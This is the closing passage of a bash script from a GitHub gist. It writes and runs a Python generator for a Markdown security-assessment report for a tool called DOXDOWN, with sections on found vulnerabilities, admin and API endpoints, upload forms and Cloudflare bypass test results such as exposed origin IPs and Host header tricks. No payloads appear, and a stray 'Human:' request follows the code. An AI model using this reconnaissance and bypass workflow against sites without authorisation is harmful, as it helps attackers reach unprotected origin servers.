report.write(f"**Description:** The application appears vulnerable to {v_type}.\n") | |
# Add specific recommendations based on vulnerability type | |
if "sqli" in v_type.lower(): | |
report.write("**Recommendation:** Implement parameterized queries and input validation.\n\n") | |
elif "xss" in v_type.lower(): | |
report.write("**Recommendation:** Implement proper output encoding and Content-Security-Policy.\n\n") | |
elif "injection" in v_type.lower(): | |
report.write("**Recommendation:** Avoid using system commands with user input, implement strict input validation.\n\n") | |
else: | |
report.write("**Recommendation:** Implement proper input validation and output sanitization.\n\n") | |
if len(vulnerabilities) > 5: | |
report.write(f"*Note: {len(vulnerabilities) - 5} additional vulnerabilities were found. See the full details in the appendices.*\n\n") | |
else: | |
report.write("No significant vulnerabilities were identified during the assessment. ") | |
report.write("This suggests the application has adequate security controls in place ") | |
report.write("or that further manual testing might be required to uncover more subtle issues.\n\n") | |
# Interesting findings section | |
if interesting: | |
report.write("### Interesting Findings\n\n") | |
# Admin pages | |
if "admin_pages" in interesting and interesting["admin_pages"]: | |
report.write("#### Administrative Interfaces\n\n") | |
report.write("The following potential administrative interfaces were discovered:\n\n") | |
for admin_url in interesting["admin_pages"][:10]: | |
report.write(f"- {admin_url}\n") | |
if len(interesting["admin_pages"]) > 10: | |
report.write(f"- *And {len(interesting['admin_pages']) - 10} more...*\n") | |
report.write("\n") | |
# API endpoints | |
if "api_endpoints" in interesting and interesting["api_endpoints"]: | |
report.write("#### API Endpoints\n\n") | |
report.write("The following API endpoints were discovered:\n\n") | |
for api_url in interesting["api_endpoints"][:10]: | |
report.write(f"- {api_url}\n") | |
if len(interesting["api_endpoints"]) > 10: | |
report.write(f"- *And {len(interesting['api_endpoints']) - 10} more...*\n") | |
report.write("\n") | |
# File upload forms | |
if "file_uploads" in interesting and interesting["file_uploads"]: | |
report.write("#### File Upload Functionality\n\n") | |
report.write("The following file upload capabilities were identified:\n\n") | |
for upload_url in interesting["file_uploads"]: | |
report.write(f"- {upload_url}\n") | |
report.write("\n") | |
# Cloudflare Protection Analysis | |
report.write("## Cloudflare Protection Analysis\n\n") | |
if cloudflare_results: | |
# Baseline information | |
if "baseline" in cloudflare_results: | |
baseline = cloudflare_results["baseline"] | |
report.write("### Cloudflare Configuration\n\n") | |
report.write(f"The target domain is protected by Cloudflare as verified by the presence of Cloudflare HTTP headers.\n\n") | |
report.write("**Cloudflare Headers:**\n\n") | |
for header, value in baseline.get("cloudflare_headers", {}).items(): | |
report.write(f"- {header}: {value}\n") | |
report.write("\n") | |
# Bypass findings | |
report.write("### Cloudflare Bypass Assessment\n\n") | |
bypass_found = False | |
for test_type, results in cloudflare_results.get("tests", {}).items(): | |
for result in results: | |
if result.get("status") in ["Success", "Interesting", "Vulnerable"]: | |
bypass_found = True | |
break | |
if bypass_found: | |
break | |
if bypass_found: | |
report.write("⚠️ **CRITICAL ISSUE**: Potential Cloudflare bypass techniques were identified.\n\n") | |
report.write("The following methods might allow bypassing Cloudflare protection:\n\n") | |
# Direct IP findings | |
if "direct_ip" in cloudflare_results.get("tests", {}): | |
for result in cloudflare_results["tests"]["direct_ip"]: | |
if result.get("status") == "Success": | |
report.write(f"- **Direct IP Access**: Origin server IP ({result.get('ip_tested', 'Unknown')}) ") | |
report.write("may be directly accessible, bypassing Cloudflare\n") | |
# Host header findings | |
if "host_header" in cloudflare_results.get("tests", {}): | |
for result in cloudflare_results["tests"]["host_header"]: | |
if result.get("status") == "Interesting": | |
report.write(f"- **Host Header Manipulation**: Using `{result.get('host_tested', 'Unknown')}` ") | |
report.write(f"returned status code {result.get('status_code', 'Unknown')} without Cloudflare headers\n") | |
# Other bypass methods | |
for test_type, results in cloudflare_results.get("tests", {}).items(): | |
if test_type not in ["direct_ip", "host_header"]: | |
for result in results: | |
if result.get("status") in ["Success", "Interesting", "Vulnerable"]: | |
if "note" in result: | |
report.write(f"- **{test_type.replace('_', ' ').title()}**: {result['note']}\n") | |
report.write("\n**Impact**: These bypass techniques could potentially expose the origin server ") | |
report.write("to direct attacks, circumventing the security benefits provided by Cloudflare's protection.\n\n") | |
else: | |
report.write("No effective Cloudflare bypass techniques were identified. ") | |
report.write("The Cloudflare configuration appears to be properly secured against common bypass methods.\n\n") | |
# Content Discovery | |
report.write("## Content Discovery\n\n") | |
if content_discovery: | |
report.write(f"The content discovery phase identified {len(content_discovery)} resources.\n\n") | |
# Group by status code | |
status_groups = {} | |
for item in content_discovery: | |
status = item.get("status_code", 0) | |
if status not in status_groups: | |
status_groups[status] = [] | |
status_groups[status].append(item) | |
report.write("### Resources by HTTP Status\n\n") | |
report.write("| Status | Count | Description |\n") | |
report.write("|--------|-------|-------------|\n") | |
status_descriptions = { | |
200: "OK - Resource exists", | |
201: "Created", | |
204: "No Content", | |
301: "Moved Permanently", | |
302: "Found - Temporary Redirect", | |
307: "Temporary Redirect", | |
308: "Permanent Redirect", | |
401: "Unauthorized - Authentication required", | |
403: "Forbidden - Authentication insufficient", | |
404: "Not Found", | |
500: "Internal Server Error" | |
} | |
for status, items in sorted(status_groups.items()): | |
description = status_descriptions.get(status, "Unknown") | |
report.write(f"| {status} | {len(items)} | {description} |\n") | |
report.write("\n") | |
# List interesting findings | |
interesting_statuses = [200, 201, 301, 302, 401, 403, 500] | |
report.write("### Notable Discovered Resources\n\n") | |
notable_found = False | |
for status in interesting_statuses: | |
if status in status_groups: | |
items = status_groups[status] | |
if items: | |
notable_found = True | |
report.write(f"#### Status {status} Resources\n\n") | |
for item in items[:10]: # Limit to 10 per status | |
path = item.get("path", "") | |
url = item.get("url", "") | |
report.write(f"- `{path}` -> {url}\n") | |
if len(items) > 10: | |
report.write(f"- *And {len(items) - 10} more with status {status}...*\n") | |
report.write("\n") | |
if not notable_found: | |
report.write("No notably interesting resources were discovered.\n\n") | |
else: | |
report.write("Content discovery was performed but did not yield significant results. ") | |
report.write("This could indicate good security practices in hiding sensitive resources ") | |
report.write("or could suggest that additional, more targeted discovery techniques might be necessary.\n\n") | |
# Technical Details | |
report.write("## Technical Details\n\n") | |
# Technologies | |
report.write("### Technology Stack\n\n") | |
if technologies: | |
# Group technologies by type | |
tech_groups = { | |
"Server": [], | |
"Framework": [], | |
"CMS": [], | |
"JavaScript": [], | |
"Security": [], | |
"Other": [] | |
} | |
for tech in technologies: | |
if tech.startswith("Server:") or "nginx" in tech.lower() or "apache" in tech.lower(): | |
tech_groups["Server"].append(tech) | |
elif tech.startswith("Security:") or "missing" in tech.lower(): | |
tech_groups["Security"].append(tech) | |
elif any(js in tech.lower() for js in ["jquery", "react", "angular", "vue"]): | |
tech_groups["JavaScript"].append(tech) | |
elif any(cms in tech.lower() for cms in ["wordpress", "drupal", "joomla"]): | |
tech_groups["CMS"].append(tech) | |
elif any(fw in tech.lower() for fw in ["laravel", "django", "rails", "asp.net"]): | |
tech_groups["Framework"].append(tech) | |
else: | |
tech_groups["Other"].append(tech) | |
for group, techs in tech_groups.items(): | |
if techs: | |
report.write(f"**{group}**\n\n") | |
for tech in techs: | |
report.write(f"- {tech}\n") | |
report.write("\n") | |
else: | |
report.write("Limited technology information was detected during the assessment.\n\n") | |
# Forms Analysis | |
forms_file = "enumeration/crawl_results/forms.json" | |
forms = load_json(forms_file, []) | |
if forms: | |
report.write("### Form Analysis\n\n") | |
report.write(f"The assessment identified {len(forms)} forms on the website.\n\n") | |
# Authentication forms | |
auth_forms = [f for f in forms if any(field.get('type') == 'password' for field in f.get('fields', []))] | |
if auth_forms: | |
report.write(f"**Authentication Forms:** {len(auth_forms)} forms with password fields were found.\n\n") | |
report.write("Sample authentication form:\n\n") | |
sample = auth_forms[0] | |
report.write(f"- URL: {sample.get('action', 'Unknown')}\n") | |
report.write(f"- Method: {sample.get('method', 'Unknown')}\n") | |
report.write("- Fields:\n") | |
for field in sample.get('fields', []): | |
report.write(f" - {field.get('name', 'Unknown')} ({field.get('type', 'Unknown')})\n") | |
report.write("\n") | |
# File upload forms | |
upload_forms = [f for f in forms if any(field.get('type') == 'file' for field in f.get('fields', []))] | |
if upload_forms: | |
report.write(f"**File Upload Forms:** {len(upload_forms)} forms with file upload capabilities were found.\n") | |
report.write("This could present security risks if file validation is insufficient.\n\n") | |
# Recommendations | |
report.write("## Recommendations\n\n") | |
# General recommendations | |
report.write("Based on the findings of this assessment, the following recommendations are provided:\n\n") | |
# Generate recommendations based on findings | |
if vuln_count > 0: | |
report.write("### Vulnerability Remediation\n\n") | |
# Group by vulnerability type for recommendations | |
vuln_types = {} | |
for vuln in vulnerabilities: | |
v_type = vuln.get("type", "Unknown") | |
if v_type not in vuln_types: | |
vuln_types[v_type] = [] | |
vuln_types[v_type].append(vuln) | |
for v_type, vulns in vuln_types.items(): | |
report.write(f"**{v_type} Issues:**\n\n") | |
if "sqli" in v_type.lower(): | |
report.write("- Use parameterized queries or prepared statements for all database operations\n") | |
report.write("- Implement strict input validation for all user-supplied data\n") | |
report.write("- Consider using an ORM (Object-Relational Mapping) framework\n") | |
elif "xss" in v_type.lower(): | |
report.write("- Implement proper output encoding for all user-supplied content\n") | |
report.write("- Configure a strong Content-Security-Policy (CSP) header\n") | |
report.write("- Use modern frameworks that automatically escape output\n") | |
elif "lfi" in v_type.lower() or "path_traversal" in v_type.lower(): | |
report.write("- Avoid passing user-supplied input to filesystem functions\n") | |
report.write("- Use whitelisting for file inclusion rather than direct path manipulation\n") | |
report.write("- Implement proper input validation and sanitization\n") | |
elif "open_redirect" in v_type.lower(): | |
report.write("- Implement a whitelist of allowed redirect destinations\n") | |
report.write("- Use indirect reference maps instead of user-controlled URLs\n") | |
elif "cloudflare bypass" in v_type.lower(): | |
report.write("- Ensure your origin server IP is not publicly exposed\n") | |
report.write("- Configure Cloudflare to only accept connections from Cloudflare IP ranges\n") | |
report.write("- Implement proper origin server security even with Cloudflare protection\n") | |
else: | |
report.write("- Implement input validation and output sanitization\n") | |
report.write("- Follow the principle of least privilege\n") | |
report.write("- Use existing security libraries rather than custom implementations\n") | |
report.write("\n") | |
# Cloudflare-specific recommendations | |
if cloudflare_results and cloudf_bypass_count > 0: | |
report.write("### Cloudflare Configuration Recommendations\n\n") | |
report.write("- Configure your origin web server to only accept connections from [Cloudflare IP ranges](https://www.cloudflare.com/ips/)\n") | |
report.write("- Enable Authenticated Origin Pulls to validate that requests come from Cloudflare\n") | |
report.write("- Implement Cloudflare Access for administrative areas\n") | |
report.write("- Utilize Cloudflare Workers for additional security controls\n") | |
report.write("- Enable all Cloudflare security features including WAF, Bot Management, and Rate Limiting\n\n") | |
# General security recommendations | |
report.write("### General Security Improvements\n\n") | |
report.write("- Implement proper security headers (HSTS, CSP, X-Content-Type-Options, etc.)\n") | |
report.write("- Ensure all sensitive data is properly encrypted in transit and at rest\n") | |
report.write("- Conduct regular security assessments and code reviews\n") | |
report.write("- Implement a security vulnerability disclosure program\n") | |
report.write("- Keep all software dependencies and frameworks updated to mitigate known vulnerabilities\n\n") | |
# Appendices | |
report.write("## Appendices\n\n") | |
# Raw data locations | |
report.write("### Assessment Data\n\n") | |
report.write("The following raw data files were generated during this assessment:\n\n") | |
report.write("| Data Type | File Location |\n") | |
report.write("|-----------|---------------|\n") | |
report.write(f"| DNS Records | recon/dns_records.txt |\n") | |
report.write(f"| Crawled Pages | enumeration/crawl_results/pages.json |\n") | |
report.write(f"| Discovered Forms | enumeration/crawl_results/forms.json |\n") | |
report.write(f"| Content Discovery | content_discovery_results.json |\n") | |
report.write(f"| Vulnerability Findings | vulnerability_findings.json |\n") | |
report.write(f"| Cloudflare Analysis | cloudflare_bypass_results.json |\n") | |
report.write("\n") | |
# Footer | |
report.write("---\n\n") | |
report.write("Report generated by DOXDOWN - THE FINALE security assessment tool.\n") | |
report.write(f"Assessment date: {datetime.datetime.now().strftime('%Y-%m-%d')}\n") | |
print(f"Report generated successfully: {REPORT_FILE}") | |
if __name__ == "__main__": | |
generate_report() | |
EOL | |
chmod +x generate_report.py | |
# Generate the final report | |
python3 generate_report.py "$TARGET_URL" | |
# ===================================== | |
# Conclusion | |
# ===================================== | |
log "INFO" "Assessment complete!" | |
log "INFO" "Final report is available at: $TESTING_DIR/DOXDOWN_REPORT.md" | |
log "INFO" "Raw data is available in the following directories:" | |
log "INFO" "- Reconnaissance: $TESTING_DIR/recon/" | |
log "INFO" "- Enumeration: $TESTING_DIR/enumeration/" | |
log "INFO" "- Vulnerabilities: $TESTING_DIR/vulnerabilities/" | |
log "INFO" "- Logs: $TESTING_DIR/logs/" | |
echo -e "${GREEN}" | |
echo "██████╗ ██████╗ ██╗ ██╗██████╗ ██████╗ ██╗ ██╗███╗ ██╗" | |
echo "██╔══██╗██╔═══██╗╚██╗██╔╝██╔══██╗██╔═══██╗██║ ██║████╗ ██║" | |
echo "██║ ██║██║ ██║ ╚███╔╝ ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║" | |
echo "██║ ██║██║ ██║ ██╔██╗ ██║ ██║██║ ██║██║███╗██║██║╚██╗██║" | |
echo "██████╔╝╚██████╔╝██╔╝ ██╗██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║" | |
echo "╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝" | |
echo -e "${CYAN} THE FINALE${NC}" | |
echo "" | |
echo -e "${YELLOW}Assessment completed successfully!${NC}" | |
echo "" | |
echo -e "Report is available at: ${GREEN}$TESTING_DIR/DOXDOWN_REPORT.md${NC}" | |
echo "" | |
Human: Now write a cloudflare.json file check |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment